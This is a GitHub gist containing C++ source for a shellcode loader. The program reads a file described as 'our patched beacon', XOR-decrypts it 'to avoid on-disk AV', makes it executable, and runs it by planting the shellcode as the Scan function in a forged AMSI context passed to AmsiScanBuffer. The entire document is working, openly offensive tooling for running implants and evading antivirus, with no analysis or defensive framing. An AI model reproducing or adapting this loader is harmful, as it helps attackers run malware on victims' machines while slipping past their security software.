Created
November 29, 2023 16:01
-
-
Save rxwx/34528234356ef2365c2fafd7c4beb5e2 to your computer and use it in GitHub Desktop.
Execute shellcode with AMSI
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <Windows.h> | |
#include <iostream> | |
#include <fstream> | |
#include <amsi.h> | |
#define NtCurrentProcess() ( (HANDLE)(LONG_PTR) -1 ) | |
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0) | |
// https://modexp.wordpress.com/2019/06/03/disable-amsi-wldp-dotnet/ | |
typedef struct tagHAMSICONTEXT { | |
DWORD Signature; // "AMSI" or 0x49534D41 | |
PWCHAR AppName; // set by AmsiInitialize | |
IAntimalware* Antimalware; // set by AmsiInitialize | |
DWORD SessionCount; // increased by AmsiOpenSession | |
} _HAMSICONTEXT, * _PHAMSICONTEXT; | |
typedef struct IAntimalwareVtbl { | |
PVOID QueryInterface; | |
PVOID AddRef; | |
PVOID Release; | |
PVOID Scan; | |
PVOID CloseSession; | |
} FAKE_ANTIMALWARE_VTABLE, * PFAKE_ANTIMALWARE_VTABLE; | |
typedef struct IAntiMalwareInterface { | |
PFAKE_ANTIMALWARE_VTABLE vtable; | |
} FAKE_ANTIMALWARE_INTERFACE, * PFAKE_ANTIMALWARE_INTERFACE; | |
typedef HRESULT(WINAPI* _AmsiScanBuffer)(_HAMSICONTEXT amsiContext, PVOID buffer, | |
ULONG length, LPCWSTR contentName, HAMSISESSION amsiSession, AMSI_RESULT* result); | |
typedef NTSTATUS(WINAPI* _NtAllocateVirtualMemory)(HANDLE ProcessHandle, PVOID* BaseAddress, | |
ULONG_PTR ZeroBits, PSIZE_T RegionSize, ULONG AllocationType, ULONG Protect); | |
typedef NTSTATUS (WINAPI* _NtProtectVirtualMemory)(HANDLE ProcessHandle, PVOID* BaseAddress, | |
PULONG NumberOfBytesToProtect, ULONG NewAccessProtection, PULONG OldAccessProtection); | |
const char* XOR_KEY = "d7fdb0dc3a87"; | |
void Decrypt(char* mem, int size) | |
{ | |
for (int i = 0; i < size; i++) | |
{ | |
mem[i] ^= XOR_KEY[i % strlen(XOR_KEY)]; | |
} | |
} | |
int main(int argc, char* argv[]) | |
{ | |
if (argc != 2) | |
{ | |
printf(" Usage: %s <FILE>\n", argv[0]); | |
return 1; | |
} | |
printf("Running in PID: %lu\n", GetCurrentProcessId()); | |
HMODULE ntdll = GetModuleHandleA("ntdll"); | |
if (ntdll == NULL) | |
return 1; | |
HMODULE amsi = LoadLibraryExW(L"amsi.dll", 0, 0x800); | |
if (amsi == NULL) | |
return 1; | |
_NtAllocateVirtualMemory NtAllocateVirtualMemory = (_NtAllocateVirtualMemory)GetProcAddress(ntdll, "NtAllocateVirtualMemory"); | |
_NtProtectVirtualMemory NtProtectVirtualMemory = (_NtProtectVirtualMemory)GetProcAddress(ntdll, "NtProtectVirtualMemory"); | |
_AmsiScanBuffer AmsiScanBuffer = (_AmsiScanBuffer)GetProcAddress(amsi, "AmsiScanBuffer"); | |
if (NtAllocateVirtualMemory == NULL || NtProtectVirtualMemory == NULL || | |
AmsiScanBuffer == NULL) | |
{ | |
fprintf(stderr, "Unable to resolve functions"); | |
return 1; | |
} | |
// Read some shellcode (e.g. our patched beacon) | |
std::ifstream file(argv[1], std::ios::binary | std::ios::ate); | |
std::streamsize size = file.tellg(); | |
// Allocate some memory | |
SIZE_T PageSize = size; | |
PVOID threadStart = 0; | |
NtAllocateVirtualMemory(NtCurrentProcess(), &threadStart, 0, &PageSize, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE); | |
printf("Allocated: %p\n", threadStart); | |
file.seekg(0, std::ios::beg); | |
file.read((char*)threadStart, size); | |
file.close(); | |
// Just some bullshit to avoid on-disk AV | |
Decrypt((char*)threadStart, size); | |
DWORD oldProtect; | |
if (!NT_SUCCESS(NtProtectVirtualMemory(NtCurrentProcess(), &threadStart, (PULONG)&PageSize, PAGE_EXECUTE_READ, &oldProtect))) | |
{ | |
printf("VirtualProtect failed: %d", GetLastError()); | |
return 1; | |
} | |
FAKE_ANTIMALWARE_VTABLE vtbl{}; | |
vtbl.Scan = threadStart; | |
FAKE_ANTIMALWARE_INTERFACE antiAntimalware{}; | |
antiAntimalware.vtable = &vtbl; | |
_HAMSICONTEXT fakeContext{}; | |
fakeContext.AppName = (PWCHAR)L"WOOT"; | |
fakeContext.SessionCount = 1; | |
fakeContext.Antimalware = (IAntimalware*)&antiAntimalware; | |
AMSI_RESULT result; | |
AmsiScanBuffer(fakeContext, (PVOID)&result, 10, L"hello.exe", NULL, &result); | |
return 0; | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment